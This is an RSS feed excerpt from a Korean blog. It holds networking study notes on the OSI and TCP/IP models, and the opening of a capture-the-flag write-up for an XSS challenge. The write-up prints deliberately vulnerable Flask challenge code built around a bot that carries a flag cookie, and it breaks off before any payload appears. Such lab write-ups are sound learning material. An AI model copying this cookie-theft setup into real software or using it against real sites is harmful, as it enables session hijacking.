&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 대표적으로 MAC 주소를 사용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Ethernet&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- MAC 주소&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- ARP&lt;br /&gt;- Switch&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- VLAN&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3계층 : 네트워크 계층&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 서로 다른 네트워크 간의 통신을 담당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 컴퓨터 -&amp;gt; 네이버 서버&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내 컴퓨터 -&amp;gt; 구글 서버&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회사 내부망 -&amp;gt; 외부 인터넷&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 식으로 &lt;span style=&quot;color: #006dd7;&quot;&gt;다른 네트워크로 넘어가는 순간&lt;/span&gt; 3계층이 중요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- IP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- ICMP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Routing&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Router&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- NAT&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;장비 : 라우터&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주소 : IP 주소&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 단위 : 패킷&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4계층 : 전송 계층&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 데이터를 어떤 프로그램으로 보낼지를 담당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 포트 번호가 중요함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어서, 한 컴퓨터에서 동시에 여러 프로그램&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 웹 브라우저&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 카카오톡&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 게임&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;등등이 인터넷을 쓴다고 한다면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IP 주소만 있으면 어느 컴퓨터로 보낼지는 알 수 있는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 컴퓨터 안에서 &lt;span style=&quot;color: #006dd7;&quot;&gt;어느 프로그램으로 보낼지&lt;/span&gt;는 알 수 없음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 &lt;span style=&quot;color: #006dd7;&quot;&gt;포트 번호&lt;/span&gt;가 필요함!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- HTTP : 80&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- HTTPS : 443&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- FTP : 20, 21&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SSH : 22&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DNS : 53&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SMTP : 25&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로토콜 : TCP, UDP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 단위 : 세그먼트, 데이터그램&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5계층 : 세션 계층&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 연결 상태, 즉 대화의 시작과 종료를 관리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 로그인 상태 유지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 연결 수립&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 연결 종료&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 세션 관리&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 개념과 관련이 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;6계층 : 표현 계층&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 데이터 표현 방식을 담당함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 암호화&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 압축&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 인코딩&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 디코딩&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 문자 코드 변환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;7계층 : 응용 계층&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 사용자가 직접 사용하는 서비스와 가장 가까운 계층&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- HTTP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- FTP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SMTP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- POP3&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- IMAP&lt;br /&gt;- DNS&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Telnet&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SSH&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SNMP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;TCP/IP 4계층&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;-&amp;gt; 인터넷 통신 구조를 4단계로 나눈 모델&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 실제 인터넷 통신을 설명할 때는&amp;nbsp; OSI계층보다 많이 씀&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OSI 7계층, TCP/IP 4계층 비교&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;OSI 7계층&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; TCP/IP 4계층&lt;br /&gt;-----------------------------------------&lt;br /&gt;&lt;/b&gt;응용/표현/세션 계층&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 응용 계층&lt;br /&gt;전송 계층&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 전송 계층&lt;br /&gt;네트워크 계층&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 인터넷 계층&lt;br /&gt;데이터링크/물리 계층&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;네트워크 접근 계층&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1계층 : 네트워크 접근 계층&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; OSI의 1계층(물리계층) + 2계층(데이터 링크 계층)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 실제 네트워크 장비를 통해 데이터를 보내는 역할&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 같은 네트워크 안에서의 통신&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Ethernet&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- MAC 주소&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- LAN&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 스위치&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 허브&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- ARP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2계층 : 인터넷 계층&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; OSI의 3계층(네트워크 계층)에 해당&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 핵심은 IP주소와 라우팅&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- IP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- ICMP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- ARP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- RARP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3계층 : 전송 계층&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; OSI의 4계층(전송 계층)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; TCP, UDP&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 핵심은 포트번호&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;IP 주소가 어느 컴퓨터로 보낼지?를 정한다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;포트 번호&lt;/span&gt;는 그 &lt;span style=&quot;color: #006dd7;&quot;&gt;컴퓨터 안의 어느 프로그램으로 보낼지&lt;/span&gt;를 정함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4계층 : 응용 계층&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 사용자가 실제로 접하는 서비스들이 있는 계층&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- HTTP 80&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- HTTPS 443&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- FTP 20, 21&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SMTP 25&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- POP3 110&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- IMAP 143&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DNS 53&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Telnet 23&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SSH 22&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SNMP 161, 162&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- DHCP 67, 68&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;캡슐화와 역캡슐화&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 네트워크 통신에서 데이터는 그냥 한 덩어리로 가는 게 아님&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 각 계층을 내려가면서 &lt;b&gt;헤더&lt;/b&gt;가 붙음&amp;nbsp; --&amp;gt; 이게 &lt;b&gt;캡슐화&lt;/b&gt;임&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;캡슐화&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 데이터를 보낼 때 각 계층에서 필요한 정보를 앞에 붙이는 과정&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를들어서, 내가 네이버에 접속한다고 할 때&lt;/p&gt;
&lt;pre id=&quot;code_1780410147093&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;GET / HTTP/1.1
Host: www.naver.com&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음, 브라우저가 이런 요청을 만들고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HTTP 데이터로 &lt;b&gt;응용 계층 데이터&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데, 이 HTTP 데이터만 가지고는 인터넷으로 못 보내는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 어느 프로그램으로 보낼 건데?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 어느 컴퓨터로 보낼 건데?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 같은 네트워크 안에서는 누구한테 먼저 보낼 건데?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 전기 신호로는 어떻게 보낼 건데?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;와 같은 정보가 부족함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 아래 계층들이 차례대로 필요한 정보를 붙여줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 보면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;1단계: 응용계층(4계층)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 브라우저가 HTTP 요청을 만들고 -&amp;gt; 웹 페이지 주세요 만 있음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;[HTTP 데이터]&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;2단계 : 전송계층(3계층)&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 운영체제의 TCP 기능이 '이 데이터는 상대 서버의 443번 포트로 보내야 함!' 이라고 말해줌&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;[TCP 헤더]&lt;/span&gt;[HTTP 데이터]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기에는 보통&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 출발지 포트&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- &lt;span style=&quot;color: #f89009;&quot;&gt;목적지 포트 -&amp;gt; 이게 중요함&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 순서 번호&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- ACK 번호&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- TCP 플래그&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 정보가 들어감&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;3단계 : 인터넷 계층&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-IP계층이 말해줌 ' 이 데이터는 네이버 서버 IP 주소로 보내야 함!'&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;[IP 헤더]&lt;/span&gt;[TCP 헤더][HTTP 헤더]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기에는 보통&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 출발지 IP 주소&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 목적지 IP 주소&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- TTL&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 프로토콜 정보&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 정보가 들어감&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;4단계 : 네트워크 접근 계층&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 이제 이 데이터가 내 컴퓨터 밖으로 나가려면, 보통 먼저 공유기에게 가야 함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 그래서 Ethernet 헤더가 붙음&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #006dd7;&quot;&gt;[Ethernet 헤더]&lt;/span&gt;[IP 헤더][TCP 헤더][HTTP 데이터]&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기에는 보통&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 출발지 MAC 주소&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 목적지 MAC 주소&amp;nbsp; --&amp;gt; 최종 네이버 서버 MAC이 아니라, 지금 바로 보내야 할 다음 장비의 MAC 주소&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 정보가 들어감&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리하면, &lt;b&gt;캡슐화&lt;/b&gt;는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;응용 계층에서 만든 데이터를 전송 계층이 감싸고, 인터넷 계층이 또 감싸고, 네트워크 접근 계층이 또 감싸는 것,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼, 반대로 &lt;b&gt;역캡슐화&lt;/b&gt;는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 캡슐화한 걸 반대로 ,,!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음에 &lt;span style=&quot;color: #000000;&quot;&gt;[Ethernet 헤더]&lt;/span&gt;[IP 헤더][TCP 헤더][HTTP 데이터] 이렇게 데이터가 도착하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하나씩 확인하며 벗김&lt;/p&gt;
&lt;pre id=&quot;code_1780413392731&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Ethernet 헤더 확인
&amp;rarr; 이 MAC 주소 나 맞네? 통과

IP 헤더 확인
&amp;rarr; 이 IP 주소 나 맞네? 통과

TCP 헤더 확인
&amp;rarr; 443번 포트 서비스로 보내야겠네

HTTP 데이터 확인
&amp;rarr; 아, 사용자가 웹페이지 요청했구나&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이게 역캡슐화..!&lt;br /&gt;&lt;br /&gt;- 계층이 내려간다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;--&amp;gt; 데이터를 실제 네트워크로 보내기 위해 헤더를 하나씩 붙인다 (캡슐화)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 계층이 올라간다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;--&amp;gt; 받은 데이터에서 헤더를 하나씩 벗기고 원래 내용을 해석한다 (역캡슐화)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국, 그러니까 기본적으로 &lt;b&gt;계층별로 담당하는 질문&lt;/b&gt;이 다른다고 보면 쉬움&lt;/p&gt;
&lt;pre id=&quot;code_1780413561162&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;응용 계층(4계층):
무슨 요청이야?
&amp;rarr; HTTP GET 요청

전송 계층(3계층):
어느 프로그램으로 보내?
&amp;rarr; 443번 포트로 ㄱㄱ

인터넷 계층(2계층):
어느 컴퓨터로 보내?
&amp;rarr; 목적지 IP로 ㄱㄱ

네트워크 접근 계층(1계층):
지금 당장 누구한테 넘겨?
&amp;rarr; 공유기 MAC 주소로 ㄱㄱ

물리 계층:
어떻게 실제로 보낼래?
&amp;rarr; 전기 신호/무선 신호로 ㄱㄱ&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 계층은 따로따로가 아니라&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터가 목적지까지 가기 위해 필요한 질문을 순서대로 해결하는 구조 라고 보면 된다&lt;/p&gt;</description>
      <category>기타/정보보안기사</category>
      <author>maru_</author>
      <guid isPermaLink="true">https://m4ruru.tistory.com/25</guid>
      <comments>https://m4ruru.tistory.com/25#entry25comment</comments>
      <pubDate>Wed, 3 Jun 2026 17:54:26 +0900</pubDate>
    </item>
    <item>
      <title>xss-2</title>
      <link>https://m4ruru.tistory.com/24</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2420&quot; data-origin-height=&quot;444&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eCmFlc/dJMcacpOdwm/5QMkTrwxSb5sAkYUKXNVE1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eCmFlc/dJMcacpOdwm/5QMkTrwxSb5sAkYUKXNVE1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eCmFlc/dJMcacpOdwm/5QMkTrwxSb5sAkYUKXNVE1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FeCmFlc%2FdJMcacpOdwm%2F5QMkTrwxSb5sAkYUKXNVE1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2420&quot; height=&quot;444&quot; data-origin-width=&quot;2420&quot; data-origin-height=&quot;444&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;xss-1에 이어서 xss-2 문제를 풀어봤다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;먼저, 전체 문제 코드를 살펴보면&lt;/p&gt;
&lt;pre id=&quot;code_1780333781956&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open(&quot;./flag.txt&quot;, &quot;r&quot;).read()
except:
    FLAG = &quot;[**FLAG**]&quot;


def read_url(url, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    cookie.update({&quot;domain&quot;: &quot;127.0.0.1&quot;})
    try:
        service = Service(executable_path=&quot;/chromedriver&quot;)
        options = webdriver.ChromeOptions()
        for _ in [
            &quot;headless&quot;,
            &quot;window-size=1920x1080&quot;,
            &quot;disable-gpu&quot;,
            &quot;no-sandbox&quot;,
            &quot;disable-dev-shm-usage&quot;,
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(&quot;http://127.0.0.1:8000/&quot;)
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={&quot;name&quot;: &quot;name&quot;, &quot;value&quot;: &quot;value&quot;}):
    url = f&quot;http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}&quot;
    return read_url(url, cookie)


@app.route(&quot;/&quot;)
def index():
    return render_template(&quot;index.html&quot;)


@app.route(&quot;/vuln&quot;)
def vuln():
    return render_template(&quot;vuln.html&quot;) 


@app.route(&quot;/flag&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def flag():
    if request.method == &quot;GET&quot;:
        return render_template(&quot;flag.html&quot;)
    elif request.method == &quot;POST&quot;:
        param = request.form.get(&quot;param&quot;)
        if not check_xss(param, {&quot;name&quot;: &quot;flag&quot;, &quot;value&quot;: FLAG.strip()}):
            return '&amp;lt;script&amp;gt;alert(&quot;wrong??&quot;);history.go(-1);&amp;lt;/script&amp;gt;'

        return '&amp;lt;script&amp;gt;alert(&quot;good&quot;);history.go(-1);&amp;lt;/script&amp;gt;'


memo_text = &quot;&quot;


@app.route(&quot;/memo&quot;)
def memo():
    global memo_text
    text = request.args.get(&quot;memo&quot;, &quot;&quot;)
    memo_text += text + &quot;\n&quot;
    return render_template(&quot;memo.html&quot;, memo=memo_text)


app.run(host=&quot;0.0.0.0&quot;, port=8000)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;xss-1 과 다른점이 있다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 페이지마다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;render_template을 사용해서 , 전달되는 변수가 기록될 때 HTML 엔티티코드로 변환해 저장되기 때문에 xss-1에서 와 같은 reflected xss는 발생하지 않는다는 것 이다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼, 어떤 경로를 통해 flag를 탈취할 수 있을까,,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 xss-1와 마찬가지로 /memo 페이지를 통해 memo 파라미터에 값을 화면에 출력하고 있고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;read_url의 url은 check_xss에서 vuln페이지에 접근하는 url을 만들어내고 있다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 결론적으로 생각해보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;read_url함수에 vuln페이지에 접근하는 url과 사용자 쿠키가 전달되고 있는 것이니까,&lt;/p&gt;
